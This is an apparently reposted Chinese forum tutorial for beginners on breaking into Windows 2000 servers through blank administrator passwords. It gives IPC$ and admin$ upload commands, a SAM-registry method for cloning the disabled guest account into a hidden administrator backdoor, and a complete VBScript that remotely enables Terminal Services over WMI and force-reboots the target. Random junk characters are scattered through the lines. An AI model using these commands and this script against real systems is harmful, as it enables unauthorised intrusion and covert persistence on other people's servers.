|
一次简单的3389入侵过程 , ~) J# W, w; T8 f6 _2 m
原创:caozhe(草哲)
/ H/ a1 e$ r; _. G* J: {来源:中国欲网技术论坛--草哲
$ a/ i: _! {/ U& v+ X2 @ 4 c$ V5 u, |6 T* H( \# ^4 o
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!
8 Y# K/ e6 o. K
( S2 x$ Y& Q$ c" R于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
$ j, F% K* H! B8 d& q4 D7 c要入侵,我建议你在win2000环境下来*作!
; \& |$ T/ f8 n; O7 x8 e
: A) j, k, t5 P0 I& A+ F首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!. e- F5 z! p7 ^; X& p( W) h4 Q$ \
扫描的X-Scan V2.3、WINNTAutoAttack、流光!+ ~, f: o- V. u' K' D
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
1 ` a9 T4 V4 b7 M# T远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)8 I1 S, `' _, f O! n
克隆帐户用个psu就可以了~!6 o! n% @+ Q, e1 o5 O! s1 z) a0 a
6 ?/ c8 W# ?8 \+ j, Q7 jOK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空* M0 X( B% V& t
运行CMD(2000下的DOS),我们给它开终端!
7 I1 Q' a- a( `命令如下!" _8 n! F, F- _; U: R5 k H5 Z
cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr; ~/ |3 M( O/ ~8 T6 G, t% I" X+ H9 k7 F
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
8 l+ c6 j2 \% m4 C" N6 O" _
+ y" h( \4 P- w因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!
/ }. A3 r6 a2 J+ u6 T: X# A* o
+ @; C' c) Y' k5 J- v5 @- U4 h( G一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
- N1 S3 @, q h6 Y; }2 h! F安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!3 q" Y7 G7 _2 @% [) i6 a% ]& c
" z% D% ?9 |+ L$ A+ w6 @回到DOS下!我们建立IPC$连接!& Z9 y) R6 C$ H+ G
net use \\120.0.0.1\ipc$ "" /user:"administrator"- l' E; k! R5 e
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!: t% D2 x+ m& p J4 X) j6 B& Q; e! W
copy psu.exe \\120.0.0.1\admin$\system32
$ a4 A- y+ H# w' M' k. w7 \, t上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
+ I6 }7 c( f, `6 ~" J# N
1 @8 u/ @# m! j假设guest用户被禁用,我们就是要利用guest做后门帐户!3 I8 q7 [3 }$ }& q0 b9 `( O
在该服务器运行CMD,在命令行下输入
1 g5 ]/ F; k. Y3 `( ppsu -p regedit -i PID0 y2 y% J3 A1 Q) b% ]
8 l0 X4 B6 F8 l/ x0 m
这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
. p+ X' J7 w2 b: c; ]2 ^看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是54587 l/ \) x+ O5 b# c8 z
那么,命令就是这样$ ]( ]2 l; y9 |4 F; a9 S! b
psu -p regedit -i 5458
|+ T: g3 d% P4 w: L这样直接打开注册表,可以读取本地sam的信息。& G8 Q& C$ m% h, Q. Y
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users! U6 U3 x6 r8 |* S, o8 O7 K" l
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
( E: ^% o, _2 ]( \+ cHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names" s) G: C3 b# e* H
查看administrator的类型,是if4,再看guest的是if5
0 [6 R' k, r8 ]) Q) g/ u' y4 p好了,知道了类型后,打开
" P2 \ a9 g7 m( n% `# q' ]- V; _HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
+ Q: R J- L' z" _' i6 I这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开 N" g; F8 Y9 y2 J7 t* F7 s1 Y5 W4 u
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
1 G7 \/ L+ @. W" L双击右侧的F,把刚复制的粘贴到里面!9 ?" H9 n/ e$ S( K0 m1 C$ n9 z
! } W" B: b, g4 g8 X) C
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5( b( P) e% @* U) p# n
和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
; }3 ?+ Q u7 h/ q这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。6 T0 e0 y) v. i& i$ G
S& A, s% w3 U' U& t4 H. s打开CMD,在命令行下输入) L: c6 f; F# |9 q0 R- E
net user guest password
# m# c; q0 X' Q* A, G这条命令是给guest设置密码,后面的password就是密码
4 J1 X9 J. L' n4 |: l D8 U然后输入% a6 y t c0 g
net user guest /active:y
, U4 B" A/ C) W0 r; ]5 k这命令是激活guest帐户,然后我们把他禁用
, g9 T* j2 T& Y! {7 Lnet user guest /active:n d2 t# L5 E0 r8 C1 k f
上面的三行命令必须在DOS下执行!
3 O; b+ f! h+ m6 E0 k
& _- i/ q( l% C6 vOK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!
# D, J% M0 D2 o: x而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!
0 j" O! t X4 V1 @ y$ r- r
% f. [$ `6 B& M5 d, Z' o注销一下,用guest登陆吧!
2 W+ j! s4 n0 ]" K$ L
* Z8 j' b0 J% g. |3 l打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊! g1 }" N; e7 o; e" e; f9 e1 o- ^
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!/ `3 |& |0 [7 e0 D! g5 t7 Y& B
$ L( X% x3 J+ b6 z6 m
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!
' n( {( Y x/ e. B/ }( P/ [" { Q' t0 `! p9 |6 ^- Y! O, N
----------------------------------------------------------------------
/ a' ?) v' b, | ]# Y3 Q! t以下是开终端的脚本,把它存为*.vbe
/ c$ P/ h% _, g6 ^7 zon error resume next4 m8 Z5 \( L' C$ j$ S
set outstreem=wscript.stdout& ?6 Y+ b6 e1 j7 L$ s
set instreem=wscript.stdin
& B y* ~( ?& o' s! ]5 w# jif (lcase(right(wscript.fullname,11))="wscript.exe") then G m. r: C- _- f
set objShell=wscript.createObject("wscript.shell")4 N1 {; T& w8 S; g( ?
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
m! R, u& x: o, m' ]3 Q# w wscript.quit/ S8 }2 K- U3 Y6 T% t% z* Q
end if$ j4 E1 n1 G. ?5 g
if wscript.arguments.count<3 then
6 n( U- \' c/ E; ]6 \) A usage()
5 @4 s+ Y9 Y- s8 f7 e0 ~' e wscript.echo "Not enough parameters."
9 Z5 o8 P k. A6 I4 V wscript.quit2 ?; q; m7 c) M6 _- N
end if
- K1 ~) M k t/ H5 c7 u/ D# n) @" q' k% ^
ipaddress=wscript.arguments(0)
+ s, o/ r4 h" W) V9 W: eusername=wscript.arguments(1)& x) _ [, Y! k6 _5 I [
password=wscript.arguments(2)- _' b% @+ F3 l, w# k. g7 s
if wscript.arguments.count>3 then
# D8 l/ T& d2 _, j/ s port=wscript.arguments(3)" g1 n3 v1 h4 b; ~1 W) i' T. E5 e; [
else, ?4 v5 x+ A7 e7 p3 V2 p
port=3389
K, S, v0 R! j! }end if
3 v- p5 ?- }1 T9 f$ I" E4 c1 Sif not isnumeric(port) or port<1 or port>65000 then( I$ s2 L5 k2 h
wscript.echo "The number of port is error."
" l" y) a0 n4 W# V+ P. q wscript.quit
, v e6 y% _+ N0 i Z; r7 oend if
* H4 r- j! E6 P2 cif wscript.arguments.count>4 then& Z- c" Z3 _6 e `
reboot=wscript.arguments(4)
% `: ~4 n4 E0 S* O \9 \2 Belse
! p3 Z; {9 J3 u reboot=""$ D Y, N( \3 F
end if5 q% Y' X+ w( k0 e# J+ Z b
5 Y& v0 v* n- ~+ p! I+ d
usage(). r8 E9 m# s9 |) ~
outstreem.write "Conneting "&ipaddress&" ...."% B& [# d5 _: p/ ?
set objlocator=createobject("wbemscripting.swbemlocator")& r" h+ ^# r' m& v O$ `' J
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)1 _1 I3 ~- O) e! }7 p& I' z
showerror(err.number)9 R: i6 u; z8 w* Q5 v9 y m
objswbemservices.security_.privileges.add 23,true
4 F. B }" Z1 Aobjswbemservices.security_.privileges.add 18,true8 I" h# \3 I& ?0 [! f- M: U
6 ]( H0 x# L# v% coutstreem.write "Checking OS type....". t% \ b5 o4 L) L5 l
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
; l' K, R& B. E8 b3 Q3 ~$ Ffor each objinstoscaption in colinstoscaption1 `0 o$ }4 j) `$ L: \- T5 [
if instr(objinstoscaption.caption,"Server")>0 then
$ N% m5 I' U: D0 ]' J* M6 v/ @* \ wscript.echo "OK!"
. }" U' E% Z8 @: q else
: u) F: m- }. o wscript.echo "OS type is "&objinstoscaption.caption
1 @* v+ A* @; x outstreem.write "Do you want to cancel setup?[y/n]"
, J! b) Y+ m, O" e- G; s+ e( c strcancel=instreem.readline/ [2 I: j* {8 T* S$ \ l- f* Z2 @
if lcase(strcancel)<>"n" then wscript.quit
- h: q* m5 B+ ~8 A end if4 O6 s) n" ^# A2 q! R/ {
next
: o: }2 k- ^7 C" A' X K0 P+ H; p" w$ G- v4 c
outstreem.write "Writing into registry ...."
; u) _, K7 Q* R: i* P% zset objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")/ G4 I! Z6 R$ a$ S/ H5 v4 m: X: ^" V4 |
HKLM=&h80000002) F3 K' F4 P& u( T
HKU=&h800000034 ?% B$ I0 }; @5 A
with objinstreg
& \& ^3 E6 X& o( Z- [! S7 |.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"+ n' Y! A N( ~3 V* T
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
/ f, ?, b) Q# T4 K/ k! \* }1 q.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
3 E3 c, \' C i$ z1 Z.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
, S# }! E& O F: o4 c! F.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
$ L2 @% I0 {1 L" }.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2# h2 c( W( X) c3 j7 n4 m2 C& C
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2/ h% P! o0 U8 Y1 u# Z0 F
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" {" n5 S( F0 l% Q
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port3 H" m" F0 {) @- a9 Y
end with
2 z& w. \3 ?* w1 k: m. z4 xshowerror(err.number)
1 G8 F& a* m: [3 U" \9 ~+ T. F) h0 a8 I7 q! ?( n4 m7 b
rebt=lcase(reboot), W0 u7 i9 e) @3 o0 U; K2 G
flag=07 A3 H! }1 J: g' b0 l! }
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2' F! X' K, N- }3 f- R4 M8 X7 @
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
! G* N2 E% c1 C7 F- z6 b/ Tif flag<>0 then
4 |* ^6 s' a" t" f& ]# H# n/ x outstreem.write "Now, reboot target...."
' {2 b2 P9 h! C# e# K; x strwqlquery="select * from win32_operatingsystem where primary='true'"
$ e# Q* F( e# V( E) P, D$ Q set colinstances=objswbemservices.execquery(strwqlquery)+ x! @9 g& [4 P: S1 n
for each objinstance in colinstances6 D' S8 a1 v. Q+ q4 v
objinstance.win32shutdown(flag)
9 j. }0 X8 p W6 g* d3 | next
: e5 z/ R7 _! N showerror(err.number)# r6 E. i3 W8 j4 U- P
else4 E8 C" | D1 i1 \+ |
wscript.echo "You need to reboot target."&vbcrlf&"Then,"& B! Z. p1 A: s! a; V
end if
$ F0 ^9 \1 M3 j6 a: fwscript.echo "You can logon terminal services on "&port&" later. Good luck!"
* Q5 E* F* t# o* B4 |4 u9 \3 V, H/ I# h* c: V0 L) t
function showerror(errornumber)+ u/ j# s7 `/ ?/ n" p7 k0 H
if errornumber Then0 Q- u7 b5 [) S1 @
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
8 h: s( m2 C5 D; d/ w' o5 F if err.description <> "" then7 X1 f- S. b+ v
wscript.echo "Error description: "&err.description&"."
, i, y0 x! a) `# R end if
& }) v. Y9 x# I3 m) @! P$ r wscript.quit0 S4 g0 c _% n
else
6 R/ D8 R& F4 o* {; U wscript.echo "OK!"
. j O1 g" j- E4 w/ g- l* Dend if' v& t, B! B& h. J, p9 ]7 U
end function* G- \! e [2 v; M4 q
2 @* u" s$ k/ B; y6 w+ }- {0 u
function usage()
7 h* w, I& O. Xwscript.echo string(79,"*")4 ?$ B1 \7 L2 l
wscript.echo "ROTS v1.05": j# _3 R& v! y; q
wscript.echo "Remote Open Terminal services Script, by 草哲"( `( S& @" n& K% D6 c* s
wscript.echo "Welcome to visite www.5458.net"
. S- I) B% w* ~$ {; d/ Wwscript.echo "Usage:"# w4 C5 a1 R3 d4 `: P3 Z3 q, G+ w5 }7 H
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"2 o3 w: C( N$ l2 L8 P1 g3 K
wscript.echo "port: default number is 3389."
! |( e! O7 n& _: l5 d3 |3 Xwscript.echo "/r: auto reboot target."8 c/ Y- w# ]' F& s+ k* G/ w% O7 B- w
wscript.echo "/fr: auto force reboot target."
2 D$ r8 q' e5 h2 B' h0 K6 Cwscript.echo string(79,"*")&vbcrlf
% T4 x$ j7 N& ~6 z2 J# i+ a9 Dend function9 Y* Z& \0 _: {0 ]" K8 Z7 ?' v
- ~5 X K4 ]2 e5 g$ M$ L% Q转自安全焦点 |
|